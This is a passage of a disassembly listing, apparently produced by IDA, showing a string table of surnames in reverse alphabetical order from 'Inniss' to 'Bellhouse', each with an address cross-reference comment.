aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E16Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E164o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E14Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o aHand db 'Hand',0 ; DATA XREF: ___:0042E070o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E044o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E008o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF28o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o ; ___:0042DD4Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo ; ___:0042DC00o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DB94o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o aBellhouse db 'Bellhouse',0 ; DATA XREF: 